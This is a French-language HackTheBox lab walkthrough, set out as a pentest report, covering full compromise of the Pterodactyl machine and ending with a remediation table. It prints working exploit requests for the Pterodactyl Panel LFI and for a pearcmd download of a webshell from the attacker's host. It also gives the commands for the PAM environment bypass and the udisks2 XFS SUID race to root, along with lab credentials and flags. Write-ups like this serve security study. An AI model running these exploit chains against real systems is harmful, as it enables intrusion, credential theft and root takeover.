
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.
Date : 8 avril 2026
Cible : Pterodactyl (HackTheBox)
Difficulté : Moyenne
OS : Linux (openSUSE Leap 15.6)
Testeur : V0idW1re
La machine Pterodactyl sur HackTheBox présentait un scénario d'attaque réaliste impliquant une application web mal configurée et des enchaînements de vulnérabilités d'élévation de privilèges. Partant d'une position non authentifiée, le testeur a obtenu un compromis total root via une séquence logique d'étapes d'exploitation. La chaîne d'attaque comprenait une vulnérabilité d'inclusion locale de fichier (LFI) non authentifiée, l'utilisation créative d'un gestionnaire de paquets PHP pour une exécution de code à distance, l'extraction et le craquage d'identifiants, et enfin l'enchaînement de deux CVE publiquement divulguées pour passer d'un utilisateur à faibles privilèges à root.
| Champ | Valeur |
|---|---|
| IP cible | 10.129.25.223 |
| Nom d'hôte | pterodactyl.htb |
| OS | openSUSE Leap 15.6 |
| Services | SSH (22), HTTP (80) |
| Sous-domaines | panel.pterodactyl.htb |
L'évaluation a suivi une méthodologie standard de test d'intrusion :
Sévérité : Critique
Composant : Pterodactyl Panel v1.11.10 — point d'accès /locales/locale.json
Description :
Le point d'accès des locales du Pterodactyl Panel n'a pas nettoyé les paramètres de requête locale et namespace, permettant un parcours de répertoire. Comme l'application ajoute .php à la valeur du namespace et le charge via le mécanisme d'inclusion de PHP, un attaquant pouvait forcer le serveur à charger et exécuter des fichiers PHP arbitraires sur le système de fichiers.
Exploit :
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Impact :
Les identifiants de la base de données ont été extraits de config/database.php :
pterodactylPteraPanelpanelLa clé d'application Laravel a également été extraite de config/app.php.
Preuve :
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Sévérité : Critique
Composant : Installation PHP PEAR + LFI
Description :
Avec la primitive LFI établie, le testeur a exploité le script pearcmd.php du gestionnaire de paquets PEAR. Lorsque la configuration PHP a register_argc_argv=On (confirmé via phpinfo), la chaîne de requête est interprétée comme des arguments de ligne de commande par pearcmd. La commande download a été utilisée pour récupérer un webshell PHP depuis le serveur de l'attaquant et l'enregistrer dans le répertoire public du panel.
Exploit :
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Impact :
Un webshell PHP a été écrit dans /var/www/pterodactyl/public/shell.php, fournissant une exécution de code à distance non authentifiée en tant qu'utilisateur wwwrun.
Preuve :
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Sévérité : Élevée
Composant : Base de données MySQL panel
Description :
En utilisant le shell RCE, le testeur s'est connecté à la base de données MySQL en utilisant les identifiants obtenus via LFI. La table users contenait des mots de passe hachés avec bcrypt pour tous les utilisateurs du panel. Le hash de l'utilisateur phileasfogg3 a été craqué hors ligne à l'aide d'une liste de mots courante.
Exploit :
SELECT username, password FROM users;
Identifiant craqué :
phileasfogg3!QAZ2wsxImpact :
L'accès SSH a été obtenu en tant que phileasfogg3, et le flag utilisateur a été récupéré :
user.txt: 916235b4261e70fdb090402c641a7808
Sévérité : Élevée
Composant : Configuration PAM — pam_env.so avec user_readenv=1
Description :
La configuration PAM sur openSUSE Leap 15.6 source le fichier ~/.pam_environment de l'utilisateur via pam_env.so avec user_readenv=1. En définissant des variables d'environnement spécifiques dans ce fichier, un utilisateur SSH non privilégié peut tromper systemd-logind et Polkit en leur faisant croire que la session est une session active sur une console physique, obtenant ainsi les privilèges allow_active.
Exploit :
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
Après reconnexion via SSH, la session a été reconnue comme Active=yes, permettant des appels non privilégiés aux méthodes D-Bus d'udisks2 qui nécessitent normalement une présence sur une console physique.
Preuve :
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
Sévérité : Critique
Composant : udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Description :
Lorsque udisks2 redimensionne un système de fichiers XFS via libblockdev, il monte temporairement l'image du système de fichiers dans un répertoire accessible à tous sous /tmp/blockdev.* sans les flags de montage nosuid et nodev. Cela crée une brève fenêtre de condition de course pendant laquelle tout binaire SUID présent dans l'image peut être exécuté avec un UID effectif élevé.
Un attaquant disposant des privilèges Polkit allow_active (obtenus via CVE-2025-6018) peut :
udisksctl loop-setupnosuidNote critique sur la compatibilité de l'image XFS :
L'image XFS doit être créée avec des flags spécifiques pour openSUSE Leap 15.6 (SP5/SP6) :
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Exploit :
# Construire l'image XFS malveillante (sur la machine de l'attaquant)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# Sur la cible — lancer la course pendant la fenêtre de redimensionnement
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Preuve :
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Flag root :
root.txt: d3a242011c18cb81f08ad80337330641
| Flag | Valeur |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Non authentifié]
↓ CVE-2025-49132 (LFI)
[Identifiants de la base de données]
↓ pearcmd RCE
[Shell wwwrun]
↓ Extraction de la base MySQL + craquage de hash
[SSH phileasfogg3]
↓ CVE-2025-6018 (contournement PAM → allow_active)
↓ CVE-2025-6019 (course de redimensionnement XFS udisks2)
[root]
Compromission totale du système cible. Un attaquant disposant de ce niveau d'accès pourrait :
Ce rapport a été produit à des fins éducatives dans le cadre d'un exercice en laboratoire HackTheBox. Tous les tests ont été effectués sur un environnement de laboratoire légal et isolé.
| Résultat | Correction |
|---|
| CVE-2025-49132 (LFI) | Mettre à jour Pterodactyl Panel vers la version 1.11.11 ou ultérieure, qui impose une validation alphanumérique stricte sur les paramètres locale/namespace |
| RCE via pearcmd | Définir register_argc_argv=Off dans php.ini ; supprimer PEAR si non nécessaire |
| Mot de passe faible | Appliquer des politiques de mots de passe forts ; utiliser un gestionnaire de mots de passe |
| CVE-2025-6018 (PAM) | Définir user_readenv=0 dans la configuration PAM pour pam_env.so |
| CVE-2025-6019 (udisks2) | Mettre à jour udisks2 et libblockdev vers des versions corrigées ; modifier la règle Polkit pour org.freedesktop.udisks2.modify-device en remplaçant allow_active de yes à auth_admin |